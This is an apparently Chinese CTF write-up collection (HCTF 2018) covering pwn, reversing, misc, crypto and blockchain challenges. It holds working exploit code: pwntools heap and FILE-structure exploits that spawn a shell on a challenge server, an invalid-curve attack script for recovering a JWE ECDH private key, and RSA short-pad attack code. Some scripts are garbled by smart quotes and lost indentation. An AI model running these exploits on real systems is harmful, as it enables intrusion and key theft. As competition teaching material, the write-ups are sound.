fmt_s=p64(stdout_offset+0xd8)[:-2]+'aa'
fake_stdout=p32(0xfbad2284|0x8000)+';sh\x00'
fake_stdout+=p64(stdout_offset+0xd8)*3
fake_stdout+=p64(stdout_offset+0xd8)*2
fake_stdout+=p64(stdout_offset+0xd8+6)
fake_stdout=fake_stdout.ljust(112,'\x00')
fake_stdout+=p32(1)
fake_stdout=fake_stdout.ljust(0xd8,'\x00')
fake_stdout+=p64(buff);
poc1=fmt_s.ljust(0x10,'\x00')+p64(stdout_offset)
poc1=poc1.ljust(0x100,'\x00')
poc1+=fake_stdout
poc1+=p64(system)*3
assert len(poc1) < 0x200
p.sendline(poc1)
p.recvuntil('\n')

p.interactive()
```

easyexp

参考链接：https://www.freebuf.com/column/162202.html

发现出题人在原CVE的exp里抄袭了关于`通过改变当前目录到另一个挂载的用户空间`来实现让`getcwd()`返回的字符串前加上`(unreachable)`的相关代码，直接就可以利用题目里的`canonicalize_file_name()`在堆上进行修改，但需要注意的是这里必须要bypass `realpath()`中关于检查解析出来的路径是否正确的相关代码，否则一旦`canonicalize_file_name`返回NULL，程序就会直接退出。调试可以发现程序是在调用`__lxstat64()`后返回NULL的，不知道这个函数的可以搜一下，大致就是获取文件属性，返回NULL的原因也很简单，因为找不到名为(unreachable)/tmp的文件

这里有两种方法解决这个问题：

1.程序初始化时会创建用户目录，并在里面创建假flag，所以考虑创建`(unreachable)`用户目录，在里面创建/tmp文件就可以通过检查

2.由于题目部署在docker中，进程的pid都不会很大，可以爆破，直接在`…/…/proc/childpid/cwd`中创建`(unreachable)/tmp`之后就可以通过检查

程序和堆有关的部分就是文件的cache系统，新创建文件时or读取文件内容时会把文件读入缓存中，缓存中的文件不需要open文件，在一段时间不使用后就会被释放掉并把之前的内容写入文件中

这样创建带有`/`的文件时，堆上就会有/出现

通过`mkdir …/…/aaaaaa`这样的形式就可以修改堆了，详细的直接看exp好了：

```
#coding=utf8
from pwn import *
```

```
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 0

if local:
 cn = process('./easyexp')
 bin = ELF('./easyexp')
 libc = ELF('./libc.so.6')
 #libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
 cn = remote('150.109.46.159',20004)
 bin = ELF('./easyexp')
 libc = ELF('./libc.so.6')
 cn.sendlineafter('token','Okxa47uIRWgnQCdtAUIQMBbowEZFOSIb')


def z(a=''):
 gdb.attach(cn,a)
 if a == '':
  raw_input()

def cat(path):
 cn.sendlineafter('$ ',"cat " + path)

def mkdir(path):
 cn.sendlineafter('$ ',"mkdir " + path)

def mkfile(path,content):
 cn.sendlineafter('$ ',"mkfile " + path)
 cn.sendlineafter('write something',content)

def fake(path):
 padding = '../../'
 zero = []
 for i in range(0,len(path)):
  if ord(path[i]) == 0:
   zero.append(i)
   padding += 'a'
  else:
   padding += path[i]
 mkdir(padding)
 zero = zero[::-1]
 for i in zero:
  padding = padding[0:i+6]
  mkdir(padding)

fbuf_base = 0x603180
target = fbuf_base + 0x60 * 1

cn.sendlineafter('input your home\'s name:','(unreachable)')

buf = p64(0) + p64(0xf1) + p64(target-0x18) + p64(target-0x10)
buf = buf.ljust(0xf0-2,'\x00')
buf+= '/'

mkfile('./(unreachable)/tmp','/'* 0x20)
mkfile('chunk2','a' * 0x20)
```

```
buf = p64(66) + p64(0x31)+ p64(66) + p64(0x51) + p64(target - 0x18) + p64(target - 0x10)
fake(buf)

mkfile('chunk3','/' * 0x20)
mkfile('newchunk1','a' * 0xf0)

fake(p64(0x50))

cat('chunk3')

mkfile('unlink','/bin/sh')

buf = 'a' * 0x18 + p64(target)
mkfile('chunk2',buf)

buf = p64(target) + p32(0x100)[:-1]
mkfile('chunk2',buf)

buf = p64(target) + p32(0x100) + 'chunk2\x00'
buf = buf.ljust(0x60,'\x00')
buf+= p64(bin.got['puts'])
mkfile('chunk2',buf)

cat('chunk3')
lbase = u64(cn.recvline()[:-1].ljust(8,'\x00')) - libc.sym['puts']
print('lbase:' + hex(lbase))

mkfile('chunk2',p64(bin.got['puts']))
mkfile('chunk2',p64(lbase + libc.sym['system']))

cat('unlink')

cn.interactive()
```

Re

spiral

flag分为两个部分，第1部分很简单，请见dec脚本。

第2部分的逻辑在spiral_core.sys中，如果第一部分Check通过，程序会将输入的后27个字节写到驱动当中。

本题的思路是利用vmexit构造一个vm保护，输入字节根据vm_opcode与被加密的数独表做运算，如果计算结果符合数独解，那么就算通过。

本题是个锯齿形数独，可以先解出数独，作为vm的结果保存。

对于解数独：

1. 初次进入VMM后会对数独进行位移。
2. 之后两次readmsr再对数独进行位移。

   此时就可得到位置确定，但处于加密状态的数独。
   除解数独外，本题也将vm_opcode的表利用Invd触发的VMEXIT事件进行顺序变换，所以还需要得到3组vm_opcode变换后的结果。

vm_opcode变换后的结果。

至此，所有的解题关键都拿到了，下面为脚本：

```
vm_enc_ez = [0x07, 0xe7, 0x07, 0xe4, 0x01, 0x19, 0x03, 0x50, 0x07, 0xe4, 0x01, 0x20, 0x06, 0xb7
, 0x07, 0xe4, 0x01, 0x22, 0x00, 0x28, 0x00, 0x2a, 0x02, 0x54, 0x07, 0xe4, 0x01, 0x1f, 0x02, 0x5
0, 0x05, 0xf2, 0x04, 0xcc, 0x07, 0xe4, 0x00, 0x28, 0x06, 0xb3, 0x05, 0xf8, 0x07, 0xe4, 0x00, 0x
28, 0x06, 0xb2, 0x07, 0xe4, 0x04, 0xc0, 0x00, 0x2f, 0x05, 0xf8, 0x07, 0xe4, 0x04, 0xc0, 0x00, 0
x28, 0x05, 0xf0, 0x07, 0xe3, 0x00, 0x2b, 0x04, 0xc4, 0x05, 0xf6, 0x03, 0x4c, 0x04, 0xc0, 0x07,
0xe4, 0x05, 0xf6, 0x06, 0xb3, 0x01, 0x19, 0x07, 0xe3, 0x05, 0xf7, 0x01, 0x1f, 0x07, 0xe4]

#--------------------------------------------------------#
dec_board = [4, 7, 2, 9, 8, 3, 1, 6, 5,
7, 3, 6, 1, 5, 9, 4, 2, 8,
2, 6, 5, 8, 3, 1, 9, 4, 7,
6, 5, 9, 4, 1, 2, 8, 7, 3,
1, 8, 7, 5, 2, 6, 3, 9, 4,
3, 9, 4, 6, 7, 5, 2, 8, 1,
8, 1, 3, 2, 9, 4, 7, 5, 6,
5, 2, 1, 7, 4, 8, 6, 3, 9,
9, 4, 8, 3, 6, 7, 5, 1, 2]

enc_board = [165,  89,  35,    9, 512,   3,    1,    6,  87,
  7, 206, 125,   86,   5,  40,    4,    2,   8,
  2,   6,   5,    9, 240,  15,   86,  118, 855,
 77,  77,  75,   83,   1, 225,   87,    7, 127,
 56, 111, 665,   54,   2,   6, 1123, 1129, 211,
106, 170, 884,  198, 176, 420,   50,  103,   1,
  8, 168, 113,    2,   9, 104,   50, 1525,   6,
  5,  93,   1, 1287,  37,   8,    6,   51,   9,
 89,  49, 952,  101,  99,  40,   87,    1, 163]

#========================================================#
def vm_dec_core_ez(vm_opcode, vm_data):
 if vm_opcode == 0b000:
  vm_data += 0xde;
 elif vm_opcode == 0b001:
  vm_data += 0xed;
 elif vm_opcode == 0b010:
  vm_data += 0xba;
 elif vm_opcode == 0b011:
  vm_data += 0xbe;
 elif vm_opcode == 0b100:
  vm_data ^= 0xca;
 elif vm_opcode == 0b101:
  vm_data ^= 0xfe;
 elif vm_opcode == 0b110:
  vm_data ^= 0xbe;
 elif vm_opcode == 0b111:
  vm_data ^= 0xef;
 else:
  print "error vm_opcode"
  exit()
 vm_data &= 0b1111
 dec_data = chr(vm_opcode | (vm_data<<3))
 return dec_data

def vm_dec_ez():
 dec_s = ''
 for i in range(len(vm_enc_ez)/2):
  dec_s += vm_dec_core_ez(vm_enc_ez[2*i], vm_enc_ez[2*i+1])
```

```
 return dec_s

#------------------------------------------------------#
def vm_dec_core(vm_opcode, pos_):
 res = 0
 pos = ((pos_>>4)&0x0f) * 9 + (pos_&0x0f)
 if vm_opcode == 0:
  print 'MOV Error!'
  return
 elif vm_opcode == 1: # ADD
  res = dec_board[pos] - enc_board[pos]
 elif vm_opcode == 2: # SUB
  res = enc_board[pos] - dec_board[pos]
 elif vm_opcode == 3:
  res = enc_board[pos] / dec_board[pos]
 elif vm_opcode == 4:
  print 'MUL Error!'
  return
 elif vm_opcode == 5:
  res = enc_board[pos] ^ dec_board[pos]
 elif vm_opcode == 6:
  res = enc_board[pos] ^ dec_board[pos]
 elif vm_opcode == 7:
  res = enc_board[pos] ^ dec_board[pos]
  res = res >> 4
 elif vm_opcode == 8:
  print 'OR Error!'
  return
 elif vm_opcode == 9:
  res = enc_board[pos] ^ dec_board[pos]
 else:
  print "Default Error"
  return
 return res

def vm_opcode_dec_f1(vm_opcode_enc):
 res_dec = []
 ord1 = [2, 3, 4, 7, 8, 0, 6, 5, 1, 9]
 ord2 = [3, 4, 7, 8, 0, 6, 5, 1, 9, 2]
 ord3 = [3, 1, 7, 4, 8, 2, 9, 5, 6, 0]
 for i in range(27):
  if i>=0 and i<8:
   res_dec.append(ord1.index(vm_opcode_enc[i]))
  elif i>=8 and i<17:
   res_dec.append(ord2.index(vm_opcode_enc[i]))
  elif i>=17 and i<27:
   res_dec.append(ord3.index(vm_opcode_enc[i]))
  else:
   print "vm_opcode Len Error"
   exit()
 return res_dec

def vm_opcode_dec_f2(vm_opcode_enc):
 res_dec = []
 ord1 = [2, 3, 4, 7, 8, 0, 6, 5, 1, 9]
 ord2 = [3, 4, 7, 8, 0, 6, 5, 1, 9, 2]
 ord3 = [3, 1, 7, 4, 8, 2, 9, 5, 6, 0]
 for i in range(27):
  if i>=0 and i<10:
   res_dec.append(ord1.index(vm_opcode_enc[i]))
```

```
   res_dec.append(ord1.index(vm_opcode_enc[i]))
  elif i>=10 and i<19:
   res_dec.append(ord2.index(vm_opcode_enc[i]))
  elif i>=19 and i<27:
   res_dec.append(ord3.index(vm_opcode_enc[i]))
  else:
   print "vm_opcode Len Error"
   exit()
 return res_dec

def vm_dec(vm_opcode_enc_l, input_pos, spec):
 dec_psble = [0] * 27
 if spec == 1:
  vm_opcode_dec_l = vm_opcode_dec_f1(vm_opcode_enc_l)
  #print vm_opcode_dec_l
 else:
  vm_opcode_dec_l = vm_opcode_dec_f2(vm_opcode_enc_l)
  #print vm_opcode_dec_l[::-1]
 for i in range(len(dec_psble)):
  if vm_opcode_dec_l[i] != 6 and vm_opcode_dec_l[i] != 9:
   dec_psble[i] = vm_dec_core(vm_opcode_dec_l[i], input_pos[i]) & 0xff
  else:
   dec_psble[i] = vm_dec_core(vm_opcode_dec_l[i], input_pos[i])
 for i in range(len(dec_psble)):
  if vm_opcode_dec_l[i] == 6:
   dec_psble[i] += dec_psble[i+1]
   dec_psble[i] -= dec_psble[i-1]
   dec_psble[i] &= 0xff
 for i in range(len(dec_psble)):
  if vm_opcode_dec_l[i] == 9:
   dec_psble[i] ^= dec_psble[i+1]
   dec_psble[i] ^= dec_psble[i-1]
   dec_psble[i] += dec_psble[i+2]
   dec_psble[i] -= dec_psble[i-2]
   dec_psble[i] &= 0xff
 return dec_psble

def vm_dec_shell():
 dec_flag = ''
 vm_opcode_1_enc = [3,4,7,4,0,6,0,9, 6,4,8,1,4,7,1,8,7, 1,9,2,2,5,7,0,2,9,7]
 input_pos_1 = [0x00,0x01,0x04,0x12,0x15,0x25,0x27,0x30,0x33,0x35,0x42,0x46,0x48,0x50,0x52,0x55
,0x57,0x61,0x65,0x66,0x71,0x73,0x77,0x80,0x81,0x83,0x85]
 dec_psble_1 = vm_dec(vm_opcode_1_enc, input_pos_1, 1)
 #print dec_psble_1

 vm_opcode_2_enc = [4,4,3,0,9,7,0,5,4,6,6,5,7,6,7,1,4,8,4,7,2,5,7,4,9,2,1]
 input_pos_2 = [0x02,0x08,0x11,0x13,0x23,0x24,0x26,0x28,0x31,0x32,0x36,0x38,0x40,0x41,0x43,0x47
,0x51,0x53,0x54,0x56,0x62,0x67,0x74,0x82,0x84,0x86,0x88]
 dec_psble_2 = vm_dec(vm_opcode_2_enc, input_pos_2, 2)
 #print dec_psble_2[::-1]

 if dec_psble_1 == dec_psble_2[::-1]:
  for i in range(len(dec_psble_1)):
   dec_flag += chr(dec_psble_1[i])
  return dec_flag
 else:
  return 'Something Error!'

#============================================================#
dec_full_flag = 'hctf{'
```

```
dec_full_flag += vm_dec_ez();
dec_full_flag += vm_dec_shell() + '}';
print dec_full_flag
```

PolishDuck

由于出题人水平有限，给各位师傅带来的不必要困扰还请谅解。

Badusb固件

先hex2bin

Arduino Leonardo芯片atmega32u4

Github上找到32u4的datasheet，然后难度就降维了

https://gist.github.com/thecamper/18fa1453091be4c379aa12bcc92f91f0

有了datasheet可以直接ida分析

‘可以装arduino ide自己编译一个相关的固件对比函数，恢复函数名，或者直接找到keyboard的库分析。

找到主函数

```
size_t Keyboard_::write(const uint8_t *buffer, size_t size) {
 size_t n = 0;
 while (size--) {
  if (*buffer != '\r') {
   if (write(*buffer)) {
     n++;
   } else {
     break;
   }
  }
  buffer++;
 }
 return n;
}
```

keyboard.cpp源码里可以看到println是根据地址取字符串,也可以解释为什么ldi了好多参数

根据地址位置，推算出字符串位置

windows+r 后notepad.exe，开始的地址就是"notepad.exe"的位置

这里引用Nu1L战队师傅的脚本(我写的真的太丑了)

```
index_table=[320,332, 339, 354, 375, 395, 425, 456, 467, 491, 510, 606, 519, 540, 551, 582, 609
```

```
, 624, 651, 664, 675, 689, 604, 698, 709, 720, 727, 754, 775, 784, 606, 807,
838, 988, 845, 868, 883, 911, 934, 947, 959, 976, 991, 1007, 1024, 1099, 1043, 1068, 1083, 1103
, 1106, 1168, 1119, 1132, 1149, 1166, 1175, 1182, 1205, 1227,
 1093, 1093, 1238, 1101, 1101, 1172, 1253, 1103]

import ida_bytes,idaapi

def my_get_str(ea):
    #print(hex(ea))
    res = ''
    i = 0
    while True:
        tt = ida_bytes.get_byte(ea+i)
        if tt ==0 or tt & 0x80 != 0:
            break
        res += chr(tt)
        i += 1
    return res

guess_offest = [6480]

for offest in guess_offest:
    res = ''
    for i in index_table:
        res += my_get_str(i+offest)
        res += '\n'
    print(res+'\n')
```

开始的内容是逆波兰表达式，但在减法写成了‘负数加‘ 不满足中缀表达式 所以符号比数字多，~~其实可以算脑洞，~~不过没有必要，所以后期更新了附件，变成了常规的中缀表达式。

给各位师傅带来的困扰还请海涵。

Source code example

中缀计算得16进制:

0x686374667b50306c3173685f4475636b5f5461737433735f44336c3163693075735f44305f555f5468316e6b3f7d

Decode得flag：hctf{P0l1sh_Duck_Tast3s_D3l1ci0us_D0_U_Th1nk?}

没有Polish的PolishDuck XD，出题人已自裁。

seven

键盘过滤驱动

```
***************

o…*
```

根据键盘扫描码(wasd)从'o'开始，沿着'.'走到'7'即可。

LuckyStar□ Writeup

おっはラッキー☆!

这道题除去neta部分，我的思路只是想做一个去年re签到的升级版，将去年vvv没加上的smc加上作为今年的re签到。(其实纯难度来说我这题还不算签到…只是不知道为啥没人看那道题目orrzz，后来vvv跟我说了下TLS的具体实现，我逆了一下，发现有一个地方好像可以搞事情，就拿来出题了。

TLS里的反调很好过，这也是想让选手放松警惕(心理学博弈。唯一的坑在于上面说的那个地方藏了一段代码，会判断是否在调试器中，假如判断不过就会将种子换成一个特殊值，使得第二段smc出来的函数的第一个指令为ret让程序不崩。预期解法是选手会发现第二段SMC出来的代码不对，就会去怀疑是不是种子被换了。然后对srand下一个API断点，或是用IDA从start开始看，找到那个相对引用。通过动调就能知道调用的两个函数分别为srand 和 rand，这样就可以将后续的rand值得到，最后的加密就一个换表base64和xor rand(事实证明我不该只用rand的)，从而拿到flag。

好玩的地方在于白石的歌(雾)，最后知道这个neta的好像只有日本小哥哥呜呜呜

说回题目，最简单的做法就是在歌播放完之后直接attach上去…我想过这种方式，但我想不到有啥简单又隐蔽的方法可以防止orz.最后也有队伍是通过这样做的

还有队伍用ce将代码与xor的结果值dump了下来解出(

Misc

freq game

flag是加盐的token进行sha256加密，一共是64位十六进制，每2位HEX作为一个频率，

y=7□sin(2□pi□x1)+7□sin(2□pi□x2)+7□sin(2□pi□x3)+7□sin(2

Guess My Key

从一开始我就想出一道与机器学习相关的题目。但是，考虑到最近的 CTF 比赛中已经出现过不少对抗样本攻击的题目了，再出类似的也没什么意思，就往加密方向去找了找思路。于是我就找到了谷歌在 2016 年的这篇 paper：Learning To Protect Communications

With Adversarial Neural Cryptography。通读了一下，思路挺新奇的。在 Github 有其他师傅已经写好的代码，我稍微修修改改跑了起来，发现效果还不错，就继续往这方向走了。

不过，恕本人不才，我也没有什么特别精妙的想法。本来想让大家简单地玩一玩 FGSM，可惜用上梯度后，我写的 exp 效果很差，就没有继续。后来就想着，也没什么好想法把这道题的水平、难度提上去，干脆就让大家对着黑盒进行爆破。到这一步之后，我头脑里第一个想到的就是 SVM 中的 SMO 算法，简单来说就是所谓坐标下降，每次迭代优化 Key 向量其中的两个分量。写 exp 倒是很快，有一点不满意的是容易陷入局部最小值，需要一点欧气，要多跑几次。经过我的测试，大多数情况下都能在 10000~20000 次请求之内收敛到正确结果，这个规模还行，可以接受。交上 writeup 的几支队伍，主流思路也是爆破，方法上小有差别，本质上也差不多是这个思路。不过做出这道题的队伍要远少于我的预测，可能是被我误导了，以为是一道需要用到机器学习的题目？

总之，这道题并不是很成熟，在问卷中也有选手说“太 misc 了”。接受大家的批评，不过我同时也希望它可以抛砖引玉，让更多的师傅发掘机器学习带来的各种全新玩法 XD

```
import os
import time
import random
import binascii
import numpy as np
from requests import get

LEN = 96

msg = 2 * np.random.random(LEN) - 1
key = 2 * np.random.random(LEN) - 1
url = "http://150.109.62.46:13577/enc"


def extract_raw_cipher(req, extract='raw_cipher'):
    x = req.json()[extract]
    return np.array(list(map(float, x.split(','))))

def convert(x):
    return ','.join(map(str, x))


req = get(url, params=dict(msg=convert(msg)))
real_cipher = extract_raw_cipher(req, 'raw_cipher')

count = 0
last_loss = 100
pre = time.time()


while True:
    temp_key = key.copy()
    idx1 = random.randint(0, LEN-1)
    idx2 = random.randint(0, LEN-1)

    best_loss = 100
    best_cipher = None

    for i in [0, 1]:
        for j in [0, 1]:
            temp_key[idx1] = i
            temp_key[idx2] = j
            req = get(url, params=dict(msg=convert(msg), key=convert(temp_key)))
            count += 1
            cipher = extract_raw_cipher(req)
            loss = np.sum(np.abs(cipher - real_cipher))
```

```
            if loss < best_loss:
                best_loss = loss
                best_cipher = cipher
                key[idx1] = i
                key[idx2] = j

    if not count % 250:
        if best_loss == last_loss:
            print('move away randomly')
            key[random.randint(0, LEN-1)] = random.randint(0, 1)
            key[random.randint(0, LEN-1)] = random.randint(0, 1)
        last_loss = best_loss

        flag_int = int(''.join(np.where(key>0, '1', '0')), base=2)
        flag = binascii.unhexlify(hex(flag_int)[2:].zfill(int(LEN/4)).encode())
        print(flag, best_loss)

    if best_loss <= 1e-3:
        break

print('finished', count*4, time.time() - pre)
flag_int = int(''.join(np.where(key>0, '1', '0')), base=2)
flag = binascii.unhexlify(hex(flag_int)[2:].zfill(int(LEN/4)).encode())
print(flag)
```

difficult programming language

这题给了一个usb流量包，用tshark命令可以将Leftover Capture Date域中的usb协议数据提取出来

>

tshark -r difficult_programming_language.pcap -T fields -e usb.capdata > usbdata.txt

提取出数据后通过usb协议文档可以查找到值和键位的对应关系，编写脚本后得到结果

```
D``;M?!\mZ4j8hgSvt2bN);^]+7jiE3Ve0A@Q=|;)sxwYXtsl2pongOe+LKa'e^]\a`_X|V[Tx;:VONSRQJn1MFKJCBfFE>
&<`@9!=<5Y9y7654-,P0/o-,%I)ih&%$#z@xw|{ts9wvXWm3~
```

联系题目 `difficult programming language` ,可以搜索到这是一段 `malbolge` 语言的代码，找一个在线编译网站跑一下即可得到flag.

> hctf{m4lb0lGe}

附上脚本

```
#!/usr/bin/env python
```

import sys
import os

normalkeys = { 0x04:“a”, 0x05:“b”, 0x06:“c”, 0x07:“d”, 0x08:“e”, 0x09:“f”, 0x0A:“g”, 0x0B:“h”, 0x0C:“i”, 0x0D:“j”, 0x0E:“k”, 0x0F:“l”, 0x10:“m”, 0x11:“n”,0x12:“o”, 0x13:“p”, 0x14:“q”, 0x15:“r”, 0x16:“s”, 0x17:“t”, 0x18:“u”,0x19:“v”, 0x1A:“w”, 0x1B:“x”, 0x1C:“y”, 0x1D:“z”,0x1E:“1”, 0x1F:“2”, 0x20:“3”, 0x21:“4”, 0x22:“5”, 0x23:“6”, 0x24:“7”, 0x25:“8”, 0x26:“9”, 0x27:“0”, 0x28:"\n", 0x2a:"[DEL]", 0X2B:" “, 0x2C:” “, 0x2D:”-", 0x2E:"=", 0x2F:"[", 0x30:"]",

0x31:"\", 0x32:" ", 0x33:";", 0x34:"'",0x35:" ", 0x36:",", 0x37:"." , 0x38:"/" }

shiftkeys = { 0x04:“A”, 0x05:“B”, 0x06:“C”, 0x07:“D”, 0x08:“E”, 0x09:“F”, 0x0A:“G”, 0x0B:“H”, 0x0C:“I”, 0x0D:“J”, 0x0E:“K”, 0x0F:“L”, 0x10:“M”, 0x11:“N”,0x12:“O”, 0x13:“P”, 0x14:“Q”, 0x15:“R”, 0x16:“S”, 0x17:“T”, 0x18:“U”,0x19:“V”, 0x1A:“W”, 0x1B:“X”, 0x1C:“Y”, 0x1D:“Z”, 0x1E:"!", 0x1F:"@", 0x20:"#", 0x21:"$", 0x22:"%", 0x23:"^", 0x24:"&", 0x25:"*", 0x26:"(", 0x27:")", 0x28:"\n", 0x2a:"[DEL]", 0X2B:" “, 0x2C:” “, 0x2D:”_", 0x2E:"+", 0x2F:"{", 0x30:"}", 0x31:"|", 0x32:"~", 0x33:":", 0x34:"""",0x35:"~", 0x36:"<", 0x37:">", 0x38:"?" }

nums = []
shift_press = []
keys = open(‘usbdata.txt’)
for line in keys:
shift_press.append(line[1])
nums.append(int(line[6:8],16))
keys.close()

output = “”
m = 0
for n in nums:
if n == 0 :
m += 1
continue
if n in shiftkeys:
if shift_press[m] == ‘2’ : #shift is pressed
output += shiftkeys[n]
m += 1
elif shift_press[m] == ‘0’ :
output += normalkeys[n]
m += 1
print ‘output :\n’ + output

eazy dump

出这题其实不是我本意，完全是因为misc出题人太摸了我看不下去，无奈只能帮他出一题。题目定位是娱乐难度。

主要考点是用过gimp来讲内存视为 raw 图片来看内存中的贴图，flag画在mspaint上。网上也有类似了，不细说了。

Crypto

xor game

大致上就是判断flag长度，然后根据字频直接爆破flag，exp如下

```
# -- coding:utf-8 --

import base64

import itertools

import string

from Crypto.Util.strxor import strxor_c, strxor
```

freqs = {

“a”: 8.167,
“b”: 1.492,
“c”: 2.782,
“d”: 4.253,
“e”: 12.702,
“f”: 2.228,
“g”: 2.015,
“h”: 6.094,
“i”: 6.966,
“j”: 0.153,
“k”: 0.772,
“l”: 4.025,
“m”: 2.406,
“n”: 6.749,
“o”: 7.507,
“p”: 1.929,
“q”: 0.095,
“r”: 5.987,
“s”: 6.327,
“t”: 9.056,
“u”: 2.758,
“v”: 0.978,
“w”: 2.360,
“x”: 0.150,
“y”: 1.974,
“z”: 0.074,
" ": 20.0
}

def score(s):
counts = {}
for i in string.ascii_lowercase + ' ':
counts[i] = s.count(i)

```
score = 0.0
for i in s:
    i = i.lower()
    if i in freqs:
        score += freqs[i] * counts[i]
return score/len(s)
```

def break_single_xor(data):
def key(s):
return score(s[1])
return max([(i, strxor_c(data, i)) for i in range(256)], key=key)

def get_hamming_distance(x, y):
return sum([bin(ord(x[i]) ^ ord(y[i])).count(‘1’) for i in range(len(x))])

def get_edit_distance(data, k):
blocks = [data[i:i+k] for i in range(0, len(data), k)][0:4]
pairs = list(itertools.combinations(blocks, 2))
scores = [get_hamming_distance(p[0], p[1])/float(k) for p in pairs][0:6]

```
scores = [get_hamming_distance(p[0], p[1])/float(k) for p in pairs][0:6]
return sum(scores) / len(scores)

def break_repeat_xor(data, length):
blocks = [data[i:i+length] for i in range(0, len(data), length)]
transposedBlocks = list(itertools.izip_longest(*blocks, fillvalue=0))
key = [break_single_xor(''.join([str(n) for n in x]))[0] for x in transposedBlocks]
return ''.join([chr(x) for x in key])

def repeat_key_xor(data, key):
key = (key * (len(data) / len(key) + 1))[:len(data)]
return strxor(data, key)

data = base64.b64decode(open('cipher.txt', 'r').read().replace('\n', ''))

k = min(range(2, 41), key=lambda k: get_edit_distance(data, k))
print "keylength: {}".format(str(k))
key = break_repeat_xor(data, k)
print "key: {}".format(str(key))
print "poem: {}".format(repeat_key_xor(data, key))
```

后来我发现，什么都不用判断。只要能获取一小部分对的flag，然后异或密文，那不正确的明文直接查这首诗就好了。=。=

xor?rsa

很单纯的short pad attack

```
def composite_gcd(g1,g2):

return g1.monic() if g2 == 0 else composite_gcd(g2, g1 % g2)
```

```
def franklin_reiter(c1, c2, N, r, e=3):
P.<x> = PolynomialRing(Zmod(N))
equations = [x ^ e - c1, (x + r) ^ e - c2]
g1, g2 = equations
print(type(g1))
return -composite_gcd(g1,g2).coefficients()[0]

def short_pad_attack(c1, c2, e, n, nbits, kbits):
PRxy.<x,y> = PolynomialRing(Zmod(n))
PRx.<xn> = PolynomialRing(Zmod(n))
PRZZ.<xz,yz> = PolynomialRing(Zmod(n))
g1 = x^e - c1
g2 = (x+y)^e - c2
q1 = g1.change_ring(PRZZ)
q2 = g2.change_ring(PRZZ)
h = q2.resultant(q1)
h = h.univariate_polynomial()
h = h.change_ring(PRx).subs(y=xn)
h = h.monic()
r = h.small_roots(X=2^kbits, beta=0.5)[0]
m1 = franklin_reiter(c1, c2, n, r, e)
return m1, m1 + r
```

```
e = 5
n = …
c1 = …
c2 = …

m1, m2 = short_pad_attack(c1, c2, e, n, 2048, 40)
print m1
print m2
```

bestrong

JWE中ECDH的加密/解密过程

根据RFC7518和jose2go的源代码，我们可以整理出以下的过程。

加密：从cookie获取JWT，解析JWT头，判断alg、enc->进入ECDH_ES+A256KW加密逻辑

在`jose.go`的encrypt函数中通过WrapNewKey生成加密用的密钥

`ecdh_aeskw.go`中的WrapNewKey

可以看到生成的函数来自`ecdh.go`中的WrapNewKey

发现代码中只依靠pubKey.Curve去生成一个新的d,x,y，然后将数据传入deriveKey函数

最后通过KDF函数计算出kek，将kek作为参数传入aesKW.WrapNewKey

这里的WrapNewKey最核心的部分是`aes/key_wrap.go`中的代码，不再深究

这样客户端的密钥交换就完成了，剩下的只是aes加密和签名。

解密：同样从cookie获取JWT解析后转入ECDH_ES+A256KW解密逻辑

解密逻辑很简单，也是直接和题目关联的

跟入`ecdh_aeskw.go`发现和加密一样，直接看`ecdh.go`的Unwrap函数

问题的关键就在IsOnCurve函数，题目所用的版本并没有做这一步检查

剩下传入deriveKey函数后就和加密没有什么区别了

攻击原理

原先没有验证接收的点是否在P256曲线上，所以就算你给服务端的点不是基于服务端公钥的点生成的，服务端也会进行进入解密流程。因此可以构造一个不属于P256曲线上的点来生成jwe来攻击(无效曲线攻击)。

正常ecdh-es流程

然而在ecdh-es中，椭圆曲线中的b不影响密钥交换的最终结果

所以可以通过修改b的值来寻找一个低阶的点进行爆破

服务端的私钥d是32位，所以选取5个阶为1000左右的点，然后使用中国剩余定理将私钥还原出来

poc

使用sage计算低阶的点

```
import base64
import binascii
import struct

def long_to_bytes(n, blocksize=0):
    s = b''
    n = int(n)
```

```
    pack = struct.pack
    while n > 0:
        s = pack('>I', n & 0xffffffffL) + s
        n = n >> 32
    # strip off leading zeros
    for i in range(len(s)):
        if s[i] != b'\x00'[0]:
            break
    else:
        # only happens when n == 0
        s = b'\x00'
        i = 0
    s = s[i:]
    # add back some pad bytes.  this could be done more efficiently w.r.t. the
    # de-padding being done above, but sigh...
    if blocksize > 0 and len(s) % blocksize:
        s = (blocksize - len(s) % blocksize) * b'\x00' + s
    return s

p256 = 115792089210356248762697446949407573530086143415290314195533631308867097853951
a256 = p256 - 3
FF = GF(p256)

res = []

while len(res) < 10:
        b256 = randint(2, 2^16)
        E = EllipticCurve([FF(a256), FF(b256)])
        ss = str(E.order().factor()).split('*')
        for i in ss:
                if '^' not in i:
                        i = int(i.strip())
                        if 100 < i < 2000:
                                P = E.random_point() * Integer(E.order()/i)
                                # order = P.order()
                                print i, P
                                # print str(P).split(':')
                                bp = [base64.urlsafe_b64encode(long_to_bytes(int(P[0]))), base6
4.urlsafe_b64encode(long_to_bytes(int(P[1])))]
                                res.append((i, bp))
                                break

print res
```

这些是跑出来的点

传入WrapNewKey准备生成密钥

5个点都跑出来后使用crt还原私钥，再用alice的公钥和还原出来的私钥生成jwt去请求bob，拿到flag

详细原理：

http://img.tan90.me/Invalid curve attack in JWE ECDH-ES.pdf (出题主要参考资料)

https://tools.ietf.org/html/rfc7518#page-66 (ecdh-es rfc例子)

https://auth0.com/blog/critical-vulnerability-in-json-web-encryption/

http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.107.3920&rep=rep1&type=pdf

https://github.com/dvsekhvalnov/jose2go/commit/0c50fb3ad489ea07b7a1e9f34c29c0b2ce5f3fa5

Blockchain

ez2win

```
0x71feca5f0ff0123a60ef2871ba6a6e5d289942ef for ropsten

D2GBToken is onsale. we will airdrop each person 10 D2GBTOKEN. You can transcat with others as
you like.

only winner can get more than 10000000, but no one can do it.
```

function PayForFlag(string b64email) public payable returns (bool success){
require (_balances[msg.sender] > 10000000);
emit GetFlag(b64email, “Get flag!”);
}

hint1:you should recover eht source code first. and break all eht concepts you’ve already hold
hint2: now open source for you, and its really ez

```
sloved: 15

score: 527.78
```

ez2win，除了漏洞点以外是一份超级标准的代币合约，加上一个单词，你也可以用这份合约去发行一份属于自己的合约代币。

让我们来看看代码

```
pragma solidity ^0.4.24;
```

```
/**
 1. @title ERC20 interface
 2. @dev see https://github.com/ethereum/EIPs/issues/20
    */
    interface IERC20 {
